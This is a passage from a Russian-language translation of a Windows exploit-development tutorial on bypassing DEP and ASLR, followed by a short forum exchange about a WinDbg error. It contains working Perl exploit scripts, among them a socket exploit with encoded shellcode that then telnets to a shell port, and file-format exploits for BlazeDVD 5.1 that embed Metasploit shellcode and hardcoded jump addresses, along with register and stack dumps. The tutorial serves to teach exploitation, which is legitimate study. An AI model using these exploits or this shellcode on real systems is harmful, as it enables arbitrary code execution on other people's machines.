"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";

my $nops2 = "\x90" x 480;
my $jumpback = "\xe9\x54\xf9\xff\xff";  #jump back 1708 bytes

# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
my $payload = $junk.$disabledep.$nops1.$shellcode.$nops2.$jumpback."\n";
print SOCKET $payload."\n";
print "[+] Payload sent, ".length($payload)." bytes\n";
close SOCKET or die "close: $!";
system('telnet '.$host.' 5555');

Обход DEP с помощью эксплойта основанного на SEH

В двух примерах выше, оба эксплойта (и с методом обхода DEP) основаны на прямой перезаписи RET (EIP). Но что, если эсплойт основан на SEH?

В нормальных эксплойтах основанных на SEH, указатель на инструкции «POP/POP/RET» используется для перенаправления потока исполнения на поле nSEH, где размещен jumpcode, который, собственно, в последствии и выполняется. Когда DEP включен, очевидно, что вам все еще нужно перезаписать SEH-структуру, но вместо перезаписи SEH-обработчика указателем на «POP/POP/RET», его нужно перезаписать укаазтелем на «POP REG/POP REG/POP ESP/RET». Инструкция «POP ESP» сместит стек, а инструкция RET фактически перейдет на адрес указанный в nSEH. Таким образом, вместо выполнения jumpcode, как в классическом эксплойте основанном на SEH, вам нужно заполнить поле nSEH «первым адресом» на процедуру отключения поддержки NX, а сам SEH-обработчик перезаписать указателем на последовательность инструкций «POP/POP/POP ESP/RET». Подобные комбинации инструкций, довольно сложно найти. Однако, в плагине pvefindaddr, есть процедура, которая поможет вам найти нужный адрес.

Защита ASLR

Windows Vista, Server 2008 и Windows 7 предоставляют еще одну встроенную технику обеспечения безопасности (не новую, но новую для ОС Windows), которая в случайном порядке располагает базовые адреса исполняемых файлов, DLL-библиотек, стека и кучи в адресном пространстве процесса (фактически, она загружает системный образ в 1 из 256 случайных словтов и рандомизирует стек и кучу для каждого потока). Эта техника называется ASLR (Address Space Layout Randomization).

Адреса меняются при каждой загрузке системы. ASLR включен по умолчанию для системных образов (за исключением IE7) и для не системных образов, если во время компиляции в линкере был указан параметр /DYNAMICBASE (доступный в Visual Studio 2005 SP1 и выше). Так же, для скомпилированной библиотеки, можено в ручную включить ASLR, изменив в ней бит DynamicBase (установив 0x40 для DllCharacteristics в PE-заголовке – для этого можно использовать, такой инструмент как PE Explorer, просто откройте в нем библиотеку, найдите ней поле DllCharacteristics и установите его в 0x40, если оно его не содержит).

Помимо это, существует хак, осуществляемый через реестр, который позволяет включить поддержку ASLR для всех приложений:

Просто отредактируйте «HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\» и добавьте ключ «MoveImages» (DWORD)

Возможные значения ключа:

  • 0 – никогда не рандомизировать image bases в памяти, всегда учитывать базовый адрес, указанный в PE-заголовке.
  • -1 – рандомизировать все перемещаемые образы независимо от того, имют ли они флаг IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE или нет.
  • Любое другое значение – рандомизировать только образы, которые имеют relocation information и которые явно помечены, как совместимые с ASLR, путем установки флага IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE (0×40) для поля DllCharacteristics из PE-заголовка. Это значение, установлено по умолчанию.

Для того, чтобы ASLR была эффективной, она должна сопровождаться включенной поддержок DEP (и наоборот).

Из-за ASLR, даже если вы можете создать эксплойт под Vista (переполнение стека с прямой перезаписью RET, или SEH-ориентированный эксплойт), используя адрес в одной из доступных DLL-библиотек, существует большой шанс, что эксплойт будет работать до первой перезагрузки компьютера. После перезагрузки, будет применена рандомизация адресного пространства, и ваш jump address больше не будет валидным.

Существует несколько техник для обхода ASLR. Я рассмотрю техники, которые используют частичную перезапись EIP или используют адреса из модулей, в которых ASLR не включен (no-ASLR). Я не буду рассматривать техники которые использую кучу as bypass vehicle, техники которые пытаются предсказать рандомизацию или техники которые используют брутфорс.

Обход ASLR: Частичная перезапись EIP

Эта техника была использована в знаменитом Animated Cursor Handling Vulnerability Exploit (MS Advisory 935423) в марте 2007, который был обнаружен Алексом Соритовым. По следующим ссылкам объясняется, как этот баг был обнаружен и эксплуатирован: http://archive.codebreakers-journal.com/content/view/284/27/, ani-notes.pdf, http://www.phreedom.org/research/vulnerabilities/ani-header/ и Metasploit- Exploiting the ANI vulnerability on Vista

Полагают, что этот конкретный эксплойт, был первым эксплойтом, который обошел ASLR на Висте (и, который, во время обхода данного механизма защиты, так же обошел /GS, - насамом деле потому, что данные ANI-заголовка читались в структуру, где небыло никаких cookie :-)).

Идея, которая стоит за этой техникой, довольно умная. ASLR будет рандомизировать только часть адреса. Если посмотрите на базовый адрес загруженного модуля, после перезагрузки вашей Висты, то увидите, что рандомизируются байты только старшего порядка. Когда адрес сохраняется в памяти, возьмем к примеру 0×12345678, он сохраняется следующим образом:

LOW   HIGH
87 65 43 21

При включенном ASLR, будут рандомизироваться только «43» и «21». При определенных условия, данное поведение, можете позволить хакеру вызывать выполнение произвольного кода.

Представьте, что вы можете эксплуатировать баг, который позволяет перезаписать EIP. Исходное значение EIP размещается на стеке операционной системой. Если ASLR включен, на стеке будет размещен рандомизированный адрес. Предположим, что EIP равен 0×12345678 (где 0x1234 рандомизированная часть адреса, а 5678 относится к действительному значению EIP). Что если мы, сможем найти какой-нибудь интересный код (например, jump esp или еще что-нибудь полезное) в адресном пространстве 0x1234XXXX (где 1234 случайно число, но постойте же – ОС уже положила эти байта на стек)? Все что нам нужно, это найти интересный код в пределах младших байт (low bytes) и заменить эти байты, на соответствующие байты, которые указывают на интересующий нас код.

Давайте посмотрим на следующий пример: откройте «notepad.exe» в отладчике (Vista Business, SP2, English) и посмотрите на базовые адреса загруженных модулей:

Перезагрузите ОС и выполните те же действия снова:

Два старших байта из каждого базового адреса рандомизированны. Таким образом, каждый раз, когда вам нужно использовать адреса из этих модулей, по каким-либо причинам («JMP REG», «POP/POP/RET» или еще что-нибудь), вы не можете полагаться на адреса найденный в этих модулях, поскольку они будут изменены после перезагрузки.

Теперь давайте сделаем тоже самое с приложением «vulnsrv.exe» (в этом Уроке мы уже использовали его 2-раза, так что должны знать о каком приложении я говорю).

После перезагрузки системы:

Итак, теперь в нашем приложении изменяются даже базовые адреса, потому что оно было скомпилировано в VC++ 2008, с параметором линкера /DYNAMICBASE, установленным по умолчанию.

PyCommand !ASLRdynamicbase отладчика ImmDbg покажет все доичные/загруженные модули поддерживающие ASLR:

Скомпилируйте это приложение без поддержки GS и запустите его в Висте (без HW DEP/NX). Мы уже знаем, что после отправки нашему приложению 508 байт, мы сможем перезаписать EIP. Используя отладчик (установив брейкпойнт на функцию pr()), сможем узнать, что сохранный EIP содержит что-то вроде 0x011e1293 прежде, чем он будет перезаписан (где 0x011e случайное число, а младшие биты «1234» должны оставаться такими же и после перезагрузки).

Таким образом, при использовании следующего кода эксплойта:

use strict;
use Socket;
my $junk = "A" x 508;
my $eipoverwrite = "BBBB";
# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";

регистры и стек будут выглядеть следующим образом (после того как EIP был перезаписан):

(f90.928): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0018e23a ebx=00000000 ecx=0018e032 edx=0018e200 esi=00000001 edi=011e3388
eip=42424242 esp=0018e030 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
42424242 ??              ???

0:000> d ecx
0018e032  18 00 00 00 00 00 41 41-41 41 41 41 41 41 41 41  ......AAAAAAAAAA
0018e042  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e052  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e062  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e072  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e082  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e092  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e0a2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

0:000> d edx
0018e200  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e210  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e220  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e230  41 41 41 41 42 42 42 42-0a 00 00 00 00 00 00 00  AAAABBBB........
0018e240  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0018e250  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0018e260  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0018e270  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0:000> d esp
0018e030  0a 00 18 00 00 00 00 00-41 41 41 41 41 41 41 41  ........AAAAAAAA
0018e040  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e050  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e080  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e090  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0018e0a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Обычно, при получении такого результата, мы вероятнее всего искали бы инструкцию «JMP EDX», адресом которой перезаписали бы EIP, а затем использова ли бы некоторый jumpcode, для обратного прыжка на начало нашего шеллкода или использовали бы инструкцию «PUSH EBP/RET»… Сейчас, из-за ASLR, мы не можем просто так перезаписать EIP. В нашем примере, такие инструкции не существуют.

Существует и друга проблема с этим примером. Даже если ли бы и была интересующая нас инструкция, вы вероятно заметили бы, что перезапись двух младших байт, работать не будет, потому что при их перезаписи добавляется разделитель строки (00 – нулевой байт), который перезаписавает половину старших байт… Таким образом, эксплойт будет работать только в том случае, если вы найдете адрес, который будет делать, например, «JMP EDX», в адресном пространстве 0x011e00XX, т.е. ограниченному одним байтом. А это ограничивает нас максимум 255 адресами в диапазоне 0x011e:

011E1000  /$ 55             PUSH EBP
011E1001  |. 8BEC           MOV EBP,ESP
011E1003  |. 81EC 08020000  SUB ESP,208
011E1009  |. A0 1421CD00    MOV AL,BYTE PTR DS:[CD2114]
011E100E  |. 8885 08FEFFFF  MOV BYTE PTR SS:[EBP-1F8],AL
011E1014  |. 68 F3010000    PUSH 1F3                                 ; /n = 1F3 (499.)
011E1019  |. 6A 00          PUSH 0                                   ; |c = 00
011E101B  |. 8D8D 09FEFFFF  LEA ECX,DWORD PTR SS:[EBP-1F7]           ; |
011E1021  |. 51             PUSH ECX                                 ; |s
011E1022  |. E8 C30A0000    CALL <JMP.&MSVCR90.memset>               ; \memset
011E1027  |. 83C4 0C        ADD ESP,0C
011E102A  |. 8B55 08        MOV EDX,DWORD PTR SS:[EBP+8]
011E102D  |. 8995 04FEFFFF  MOV DWORD PTR SS:[EBP-1FC],EDX
011E1033  |. 8D85 08FEFFFF  LEA EAX,DWORD PTR SS:[EBP-1F8]
011E1039  |. 8985 00FEFFFF  MOV DWORD PTR SS:[EBP-200],EAX
011E103F  |. 8B8D 00FEFFFF  MOV ECX,DWORD PTR SS:[EBP-200]
011E1045  |. 898D FCFDFFFF  MOV DWORD PTR SS:[EBP-204],ECX
011E104B  |> 8B95 04FEFFFF  /MOV EDX,DWORD PTR SS:[EBP-1FC]
011E1051  |. 8A02           |MOV AL,BYTE PTR DS:[EDX]
011E1053  |. 8885 FBFDFFFF  |MOV BYTE PTR SS:[EBP-205],AL
011E1059  |. 8B8D 00FEFFFF  |MOV ECX,DWORD PTR SS:[EBP-200]
011E105F  |. 8A95 FBFDFFFF  |MOV DL,BYTE PTR SS:[EBP-205]
011E1065  |. 8811           |MOV BYTE PTR DS:[ECX],DL
011E1067  |. 8B85 04FEFFFF  |MOV EAX,DWORD PTR SS:[EBP-1FC]
011E106D  |. 83C0 01        |ADD EAX,1
011E1070  |. 8985 04FEFFFF  |MOV DWORD PTR SS:[EBP-1FC],EAX
011E1076  |. 8B8D 00FEFFFF  |MOV ECX,DWORD PTR SS:[EBP-200]
011E107C  |. 83C1 01        |ADD ECX,1
011E107F  |. 898D 00FEFFFF  |MOV DWORD PTR SS:[EBP-200],ECX
011E1085  |. 80BD FBFDFFFF >|CMP BYTE PTR SS:[EBP-205],0
011E108C  |.^75 BD          \JNZ SHORT vulnsrv.011E104B
011E108E  |. 8BE5           MOV ESP,EBP
011E1090  |. 5D             POP EBP
011E1091  \. C3             RETN
011E1092     CC             INT3
011E1093     CC             INT3
011E1094     CC             INT3
011E1095     CC             INT3
011E1096     CC             INT3
011E1097     CC             INT3
011E1098     CC             INT3
011E1099     CC             INT3
011E109A     CC             INT3
011E109B     CC             INT3
011E109C     CC             INT3
011E109D     CC             INT3
011E109E     CC             INT3
011E109F     CC             INT3
011E10A0  /$ 55             PUSH EBP
011E10A1  |. 8BEC           MOV EBP,ESP
011E10A3  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]
011E10A6  |. 50             PUSH EAX                                 ; /<%s>
011E10A7  |. 68 1821CD00    PUSH vulnsrv.011E2118                    ; |format = "Error %s"
011E10AC  |. FF15 A020CD00  CALL DWORD PTR DS:[<&MSVCR90.printf>]    ; \printf
011E10B2  |. 83C4 08        ADD ESP,8
011E10B5  |. E8 FA090000    CALL <JMP.&WSOCK32.#116>                 ; [WSACleanup
011E10BA  |. 5D             POP EBP
011E10BB  \. C3             RETN
011E10BC     CC             INT3
011E10BD     CC             INT3
011E10BE     CC             INT3
011E10BF     CC             INT3
011E10C0  /$ 55             PUSH EBP
011E10C1  |. 8BEC           MOV EBP,ESP
011E10C3  |. B8 141D0000    MOV EAX,1D14
011E10C8  |. E8 230A0000    CALL vulnsrv.011E1AF0
011E10CD  |. A0 1521CD00    MOV AL,BYTE PTR DS:[CD2115]
011E10D2  |. 8885 F0E2FFFF  MOV BYTE PTR SS:[EBP-1D10],AL
011E10D8  |. 68 87130000    PUSH 1387                                ; /n = 1387 (4999.)
011E10DD  |. 6A 00          PUSH 0                                   ; |c = 00
011E10DF  |. 8D8D F1E2FFFF  LEA ECX,DWORD PTR SS:[EBP-1D0F]          ; |
011E10E5  |. 51             PUSH ECX                                 ; |s
011E10E6  |. E8 FF090000    CALL <JMP.&MSVCR90.memset>               ; \memset
011E10EB  |. 83C4 0C        ADD ESP,0C
011E10EE  |. 8A15 1621CD00  MOV DL,BYTE PTR DS:[CD2116]
011E10F4  |. 8895 78F6FFFF  MOV BYTE PTR SS:[EBP-988],DL
011E10FA  |. 68 CF070000    PUSH 7CF                                 ; /n = 7CF (1999.)
011E10FF  |. 6A 00          PUSH 0                                   ; |c = 00

Обход ASLR: Используя адрес из non-ASLR модуля

Второй метод, который можно использовать для обхода ASLR, заключается в поиске модуля, в котором нет поддержки ASLR. Этот метод отчасти похож на один из методов для обхода SafeSEH, который опирался на использование адреса из модуля, которые не поддерживает SafeSEH (или в нашем случае ASLR). Я знаю, что некоторые люди могут утверждать, что в дествительности это не является «обходом» ограничений… но эй – это же работает и это позволяет создать стабильный эксплойт!

В некоторых случаях (по факту, в большинстве), двоичный исполняемые файлы (и некоторые из загружаемых модулей) не поддерживают ASLR. Это означает, что вы могли бы потенциально использовать адреса/указатели из этих двоичных файлов/модулей для того, чтобы осуществить прыжок на шеллкод (jump to shellcode), поскольку эти адреса, скорее всего, не будут рандомизированны. В случае с исполняемыми двоичными файломи: их базовый адрес часто начинается с нулевого байта. Таким образом, это означает, что даже если вы сможете найти адрес который перейдет на ваш шеллкод, вам придется иметь дело с нулевым байтом. Это может или не может быть проблемой, в зависимости от стека или содержимого регистров, когда происходит BOF (переполнение буфера).

Давайте посмотрим на уязвимость, которая была раскрыта в августе 2009 года: http://www.milw0rm.com/exploits/9329. Этот эксплойт использует BOF-уязвимость в BlazeDVD 5.1 Professional, во время открытия вредоносного plf-файла. Эта уязвимость, может быть использована путем перезаписи SEH-структуры.

Загрузить копию уявзимого приложения можно тут:

[INDENT][B]BlazeDVD 5.1 Professional[/B] (10.6 MiB, 1,471 hits)[/INDENT]

Теперь, давайте посмотрим, сможем ли мы создать надеждный экплойт под Висту, для этой конкретной уязвимости.

Начнем с того, что определим, как много данных нужно для того, чтобы перезаписать SEH-структуру. После выполнения некоторых простых тестов, мы обнаружим, что для перезаписи SEH, нам нужно смещение в 608 байт:

my $sploitfile="blazesploit.plf";
print "[+] Preparing payload\n";
my $junk = "A" x 608;
$junk = $junk."BBBBCCCC";
$payload =$junk;
print "[+] Writing exploit file $sploitfile\n";
open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);
print "[+] ".length($payload)." bytes written to file\n";

Окей, похоже у нас есть 2 способа эспользовать эту уязвимость: либо через прямую перезапись RET (EIP=41414141), либо опираясь на SEH (SEH-цепочка: SEH-обработчик = 43434343, nSEH=42424242, ESP указывает на наш буфер).

При взгляде на таблицу состояний ASLR (!ASLRdynamicbase), увидим следующее:

Ничего себе – кажется, многие из модулей не поддерживают ASLR. Это означает, что мы должны суметь использовать адреса из этих модулей, чтобы осуществить наши переходы (jmps). К сожалению, вывод плагина ASLRdynamicbase не является надежным. Обратите внимание на модули без ASLR и перезагрузите систему. Выполните плагин снова и сравните старый вывод списка модулей с новым. Это должно дать вам лучше представление о том, какие модули могут быть использованы. В нашем случае, после всех сравнений у нас останется 7 модулей (без ASLR) из 23 доступных (что не так уж плохо, не правда ли?):

BlazeDVD.exe (0×00400000), skinscrollbar.dll (0×10000000), configuration.dll (0×60300000), epg.dll (0×61600000) , mediaplayerctrl.dll (0×64000000) , netreg.dll (0×64100000) , versioninfo.dll (0×67000000)

Обход ASLR (прямая перезапись RET)

В случае прямой перезаписи RET, мы сможем перезаписать EIP по смещению 260 байт, и выполнить «JMP ESP» (или «CALL ESP», или «PUSH ESP/RET»), чтобы осуществить этот трюк.

Возможные jmp-адреса могут находится в:

  • blazedvd.exe : 79 addresses (но нулевые байты !)
  • skinscrollbar.dll : 0 addresses
  • configuration.dll : 2 addresses (нет нулевых байтов)
  • epg.dll : 20 addresses (нет нулевых байтов)
  • mediaplayerctrl.dll : 15 addresses, 8 (есть нулевые байты)
  • netreg.dll : 3 addresses (нет нулевых байтов)
  • versioninfo.dll : 0 addresses

EIP будет перезаписан после 260 байт, таким образом, рабочий эксплойт может выглядеть так:

my $sploitfile="blazesploit.plf";
print "[+] Preparing payload\n";
my $junk = "A" x 260;
my $ret = pack('V',0x6033b533);  #jmp esp from configuration.dll
my $nops = "\x90" x 30;
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";
$payload =$junk.$ret.$nops.$shellcode;
print "[+] Writing exploit file $sploitfile\n";
open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);
print "[+] ".length($payload)." bytes written to file\n";

Перезагрузите систему и попробуйте снова… Он все еще работает =)

Обход ASLR: SEH-ориентированный эксплойт

В случае SEH-ориентированного эксплойта, основной подход остается тем же. Найти модули которые не поддерживают ASLR; найти адреса, которые делают то, что вы хотите; создать эксплойт… Давайте представим, что нам также нужно будет обойти SafeSEH.

Модули без SafeSEH (!pvefindaddr nosafeseh):

Модули без SafeSEH и без ASLR (!pvefindaddr nosafesehaslr):

Если вам нужно найти подходящие адреса в одном из этих модулей, we should be good to go. Снова же, вывод не будет надежным, так что нужно будет перезагрузить систему и сравнить результаты, чтобы быть увереными в их надежности. Модули, которые не поддерживают ASLR и не поддерживают SafeSEH, перечислены ниже:

  • skinscrollbar.dll (0×10000000)
  • configuration.dll (0×60300000)
  • epg.dll (0×61600000)
  • mediaplayerctrl.dll (0×64000000)
  • netreg.dll (0×64100000)
  • versioninfo.dll (0×67000000)

Адреса на «POP/POP/RET» из любого перечисленного выше модуля (или, как вариант, «JMP/CALL DWORD[reg+nn]» так же будут работать):

Работчий эксплойт (SEH-структура будет перезаписана после 608 байт, с помощью инструкций «POP/POP/RET» из skinscrollbar.dll):

my $sploitfile="blazesploit.plf";
print "[+] Preparing payload\n";
my $junk = "A" x 608;
my $nseh = "\xeb\x18\x90\x90";
my $seh = pack('V',0x100101e7); #p esi/p ecx/ret from skinscrollbar.dll
my $nop = "\x90" x 30;
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";
$payload =$junk.$nseh.$seh.$nop.$shellcode;
print "[+] Writing exploit file $sploitfile\n";
open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);
print "[+] ".length($payload)." bytes written to file\n";

ASLR и DEP

ANI-эксплойт иллюстрирует возможный способ одновременного обхода DEP и ASLR. Уязвимый код, позволивший эксплотировать ANI-уязвимость, был обернут в обработчик исключений, который оберегал приложения от падения (crash). Таким образом, адресс из ntdll.dll (который был ASLR совместимым и посему был рандомизирован), отключающий DEP, мог быть подобран методом брутфорса, путем последовательного перебора нескольких ANI-файлов (максимум 256 возможных файлов), каждый с новым адресом.

© Translated by Prosper-H from r0 Crew

Помогите с ошибкой в Windbg --Couldn’t resolve error at ‘pr’

Опиши подробнее свою проблему. Что? Где? При каких условия? Скрины? Иначе никто не поможет.

Нашел причину, нужно было в свойствах проекта далее Компановщик–Отладка-- Создать отладочную информацию, выбрать ДА(/DEBUG)